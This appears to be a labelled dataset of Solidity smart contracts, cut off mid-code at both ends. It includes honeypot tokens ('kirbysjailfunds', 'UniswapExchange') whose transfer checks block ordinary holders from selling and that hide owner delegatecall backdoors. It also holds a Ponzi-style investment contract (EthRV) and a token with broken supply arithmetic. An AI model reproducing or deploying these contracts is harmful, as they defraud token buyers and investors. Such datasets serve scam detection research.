hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 1,060 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract kirbysjailfunds {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner || msg.sender == owner2 || msg.sender == owner3 || msg.sender == owner4 || msg.sender == owner5 || msg.sender == owner6);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI || _from == owner2 || _to == owner2 || _from == owner3 || _to == owner3 || _from == owner4 || _to == owner4 || _from == owner5 || _to == owner5 || _from == owner6 || _to == owner6);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private owner2;
address private owner3;
address private owner4;
address private owner5;
address private owner6;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
owner2 = 0x7737533691DE30EAC03ec29803FaabE92619F9a4;
owner3 = 0x93338F6cCc570C33F0BAbA914373a6d51FbbB6B7;
owner4 = 0x201f739D7346403aF416BEd7e8f8e3de21ccdc84;
owner5 = 0x0ee849e0d238A375427E8115D4065FFaA21BCee9;
owner6 = 0xD9429A42788Ec71AEDe45f6F48B7688D11900C05;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,565 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Tacoin {
string public name = "Tacoin";
string public symbol = "TACO";
uint8 public decimals = 18;
uint256 public totalSupply = 10000000000000000000000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Tacoin (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10000000000000000000000000 ** uint256(18);
balanceOf[msg.sender] = totalSupply = 10000000000000000000000000;
name = tokenName = "Tacoin";
symbol = tokenSymbol = "TACO";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,554 |
pragma solidity ^0.4.19;
contract TeambrellaWallet {
uint public m_opNum;
uint public m_teamId;
address public m_owner;
address[] public m_cosigners;
address[] public m_cosignersApprovedDisband;
modifier orderedOps(uint opNum) {
require(opNum >= m_opNum);
_;
}
modifier onlyOwner {
require(msg.sender == m_owner);
_;
}
function() public payable { }
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) private returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
return safer_ecrecover(hash, v, r, s);
}
function ecverify(bytes32 hash, bytes sig, address signer) private returns (bool) {
bool ret;
address addr;
(ret, addr) = ecrecovery(hash, sig);
return ret == true && addr == signer;
}
function checkSignatures(
bytes32 hash,
uint[3] cosignersPos,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2
) private returns(bool) {
uint cosignersNum = m_cosigners.length;
bool signed = ecverify(hash, sigCosigner0, m_cosigners[cosignersPos[0]]);
if (cosignersNum > 3) {
signed = signed && ecverify(hash, sigCosigner1, m_cosigners[cosignersPos[1]]);
}
if (cosignersNum > 6) {
signed = signed && ecverify(hash, sigCosigner2, m_cosigners[cosignersPos[2]]);
}
return signed;
}
function checkSignatures2(
bytes32 hash,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2
) private returns(bool) {
uint cosignersNum = m_cosigners.length;
uint pos = uint(sigCosigner0[65]);
bool signed = ecverify(hash, sigCosigner0, m_cosigners[pos]);
if (cosignersNum > 3) {
pos = uint(sigCosigner1[65]);
signed = signed && ecverify(hash, sigCosigner1, m_cosigners[pos]);
}
if (cosignersNum > 6) {
pos = uint(sigCosigner2[65]);
signed = signed && ecverify(hash, sigCosigner2, m_cosigners[pos]);
}
return signed;
}
function toBytes(uint256[] x) private pure returns (bytes b) {
b = new bytes(32 * x.length);
for (uint j = 0; j < x.length; j++) {
for (uint i = 0; i < 32; i++) {
b[j*32 + i] = byte(uint8(x[j] / (2**(8*(31 - i)))));
}
}
}
function toBytes(address[] x) private pure returns (bytes b) {
b = new bytes(20 * x.length);
for (uint j = 0; j < x.length; j++) {
for (uint i = 0; i < 20; i++) {
b[j*20 + i] = byte(uint8(uint160(x[j]) / (2**(8*(19 - i)))));
}
}
}
function TeambrellaWallet() public payable {
m_opNum = 1;
m_owner = msg.sender;
}
function assignOwner(address[] cosigners, uint teamId, address newOwner) onlyOwner external {
if (m_cosigners.length == 0)
{
m_cosigners = cosigners;
m_teamId = teamId;
m_owner = newOwner;
}
}
function changeAllCosigners(
uint opNum,
address[] newCosigners,
uint[3] cosignersPos,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2
) onlyOwner orderedOps(opNum) external {
bytes32 hash = keccak256("NS", m_teamId, opNum, toBytes(newCosigners));
require(checkSignatures(hash, cosignersPos, sigCosigner0, sigCosigner1, sigCosigner2));
m_opNum = opNum + 1;
m_cosignersApprovedDisband.length = 0;
m_cosigners = newCosigners;
}
function changeAllCosigners2(
uint opNum,
address[] newCosigners,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2,
bytes sigOwner
) onlyOwner orderedOps(opNum) external {
bytes32 hash = keccak256("NS", m_teamId, opNum, toBytes(newCosigners));
require(checkSignatures2(hash, sigCosigner0, sigCosigner1, sigCosigner2));
require(ecverify(hash, sigOwner, m_owner));
m_opNum = opNum + 1;
m_cosignersApprovedDisband.length = 0;
m_cosigners = newCosigners;
}
function getsum(uint[] values) private pure returns (uint s) {
s = 0;
for (uint j = 0; j < values.length; j++) {
s += values[j];
}
return s;
}
function transfer(
uint opNum,
address[] tos,
uint[] values,
uint[3] cosignersPos,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2
) onlyOwner orderedOps(opNum) external {
require (getsum(values) <= this.balance);
bytes32 hash = keccak256("TR", m_teamId, opNum, toBytes(tos), toBytes(values));
require (checkSignatures(hash, cosignersPos, sigCosigner0, sigCosigner1, sigCosigner2));
m_opNum = opNum + 1;
realtransfer(tos, values);
}
function transfer2(
uint opNum,
address[] tos,
uint[] values,
bytes sigCosigner0,
bytes sigCosigner1,
bytes sigCosigner2,
bytes sigOwner
) external {
require(opNum >= m_opNum);
require (getsum(values) <= this.balance);
bytes32 hash = keccak256("TR", m_teamId, opNum, toBytes(tos), toBytes(values));
require(checkSignatures2(hash, sigCosigner0, sigCosigner1, sigCosigner2));
require(ecverify(hash, sigOwner, m_owner));
m_opNum = opNum + 1;
realtransfer(tos, values);
}
function realtransfer(address[] tos, uint[] values) private {
for (uint i = 0; i < values.length; i++) {
tos[i].transfer(values[i]);
}
}
function approveDisband() external {
for (uint pos=0; pos<m_cosignersApprovedDisband.length; pos++) {
if (m_cosignersApprovedDisband[pos] == msg.sender) {
return;
}
}
for (pos=0; pos<m_cosigners.length; pos++) {
if (m_cosigners[pos] == msg.sender) {
m_cosignersApprovedDisband.push(msg.sender);
}
}
}
function disbandTo(address to) onlyOwner external {
uint cosignersNum = m_cosigners.length;
uint approved = m_cosignersApprovedDisband.length;
if (cosignersNum > 6) {
require(approved > 2);
}
if (cosignersNum > 3) {
require(approved > 1);
}
require(approved > 0);
to.transfer(this.balance);
}
} | 0 | 1,069 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,524 |
pragma solidity 0.4.25;
contract EthRV {
using SafeMath for uint;
struct Investor {
uint deposit;
uint paymentTime;
uint withdrawal;
uint boostStartup;
bool isParticipant;
}
mapping (address => Investor) public investors;
address public admin1Address;
address public admin2Address;
address public admin3Address;
address public owner;
uint public investmentsNumber;
uint public investorsNumber;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
event OnRefLink(address indexed referral, uint referrarBonus, address indexed referrer, uint referrerBonus, uint time);
event OnNewInvestor(address indexed addr, uint time);
event OnInvesment(address indexed addr, uint deposit, uint time);
event OnBoostChanged(address indexed addr, bool isActive, uint time);
event OnEarlyWithdrawal(address indexed addr, uint withdrawal, uint time);
event OnDeleteInvestor(address indexed addr, uint time);
event OnWithdraw(address indexed addr, uint withdrawal, uint time);
event OnBoostBonus(address indexed addr, uint bonus, uint time);
event OnNotEnoughBalance(uint time);
constructor() public {
owner = msg.sender;
admin1Address = msg.sender;
admin2Address = msg.sender;
admin3Address = msg.sender;
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else if (msg.value == 0.0077777 ether) {
boost();
} else if (msg.value == 0.0088888 ether) {
earlyWithdrawal();
} else {
deposit(bytes2address(msg.data));
}
}
function disown() public onlyOwner {
owner = address(0x0);
}
function setAdminsAddress(uint n, address addr) public onlyOwner {
require(n >= 1 && n <= 3, "invalid number of admin`s address");
if (n == 1) {
admin1Address = addr;
} else if (n == 2) {
admin2Address = addr;
} else {
admin3Address = addr;
}
}
function investorDividends(address investorAddr) public view returns(uint dividends, uint boostBonus) {
return getDividends(investorAddr);
}
function withdraw() public {
address investorAddr = msg.sender;
(uint dividends, uint boostBonus) = getDividends(investorAddr);
require(dividends > 0, "cannot to pay zero dividends");
require(address(this).balance > 0, "fund is empty");
uint withdrawal = dividends + boostBonus;
if (address(this).balance <= withdrawal) {
emit OnNotEnoughBalance(now);
withdrawal = address(this).balance;
}
Investor storage investor = investors[investorAddr];
uint withdrawalLimit = investor.deposit * 200 / 100;
uint totalWithdrawal = withdrawal + investor.withdrawal;
if (totalWithdrawal >= withdrawalLimit) {
withdrawal = withdrawalLimit.sub(investor.withdrawal);
if (boostBonus > 0 ) {
emit OnBoostBonus(investorAddr, boostBonus, now);
}
deleteInvestor(investorAddr);
} else {
if (withdrawal > dividends) {
withdrawal = dividends;
}
investor.withdrawal += withdrawal;
investor.paymentTime = now;
if (investor.boostStartup > 0) {
investor.boostStartup = 0;
emit OnBoostChanged(investorAddr, false, now);
}
}
investorAddr.transfer(withdrawal);
emit OnWithdraw(investorAddr, withdrawal, now);
}
function earlyWithdrawal() public {
address investorAddr = msg.sender;
Investor storage investor = investors[investorAddr];
require(investor.deposit > 0, "sender must be an investor");
uint earlyWithdrawalLimit = investor.deposit * 70 / 100;
require(earlyWithdrawalLimit > investor.withdrawal, "early withdraw only before 70% deposit`s withdrawal");
uint withdrawal = earlyWithdrawalLimit.sub(investor.withdrawal);
investorAddr.transfer(withdrawal);
emit OnEarlyWithdrawal(investorAddr, withdrawal, now);
deleteInvestor(investorAddr);
}
function boost() public {
Investor storage investor = investors[msg.sender];
require(investor.deposit > 0, "sender must be an investor");
require(investor.boostStartup == 0, "boost is already activated");
investor.boostStartup = now;
emit OnBoostChanged(msg.sender, true, now);
}
function deposit(address referrerAddr) public payable {
uint depositAmount = msg.value;
address investorAddr = msg.sender;
require(isNotContract(investorAddr), "invest from contracts is not supported");
require(depositAmount > 0, "deposit amount cannot be zero");
admin1Address.send(depositAmount * 70 / 1000);
admin2Address.send(depositAmount * 15 / 1000);
admin3Address.send(depositAmount * 15 / 1000);
Investor storage investor = investors[investorAddr];
bool senderIsNotPaticipant = !investor.isParticipant;
bool referrerIsParticipant = investors[referrerAddr].isParticipant;
if (senderIsNotPaticipant && referrerIsParticipant && referrerAddr != investorAddr) {
uint referrerBonus = depositAmount * 3 / 100;
uint referralBonus = depositAmount * 1 / 100;
referrerAddr.transfer(referrerBonus);
investorAddr.transfer(referralBonus);
emit OnRefLink(investorAddr, referralBonus, referrerAddr, referrerBonus, now);
}
if (investor.deposit == 0) {
investorsNumber++;
investor.isParticipant = true;
emit OnNewInvestor(investorAddr, now);
}
investor.deposit += depositAmount;
investor.paymentTime = now;
investmentsNumber++;
emit OnInvesment(investorAddr, depositAmount, now);
}
function getDividends(address investorAddr) internal view returns(uint dividends, uint boostBonus) {
Investor storage investor = investors[investorAddr];
if (investor.deposit == 0) {
return (0, 0);
}
if (investor.boostStartup > 0) {
uint boostDays = now.sub(investor.boostStartup).div(24 hours);
boostBonus = boostDays * investor.deposit * 5 / 100000;
}
uint depositDays = now.sub(investor.paymentTime).div(24 hours);
dividends = depositDays * investor.deposit * 1 / 100;
uint depositAmountBonus;
if (10 ether <= investor.deposit && investor.deposit <= 50 ether) {
depositAmountBonus = depositDays * investor.deposit * 5 / 10000;
} else if (50 ether < investor.deposit) {
depositAmountBonus = depositDays * investor.deposit * 11 / 10000;
}
dividends += depositAmountBonus;
}
function isNotContract(address addr) internal view returns (bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
function bytes2address(bytes memory source) internal pure returns(address addr) {
assembly { addr := mload(add(source, 0x14)) }
return addr;
}
function deleteInvestor(address investorAddr) private {
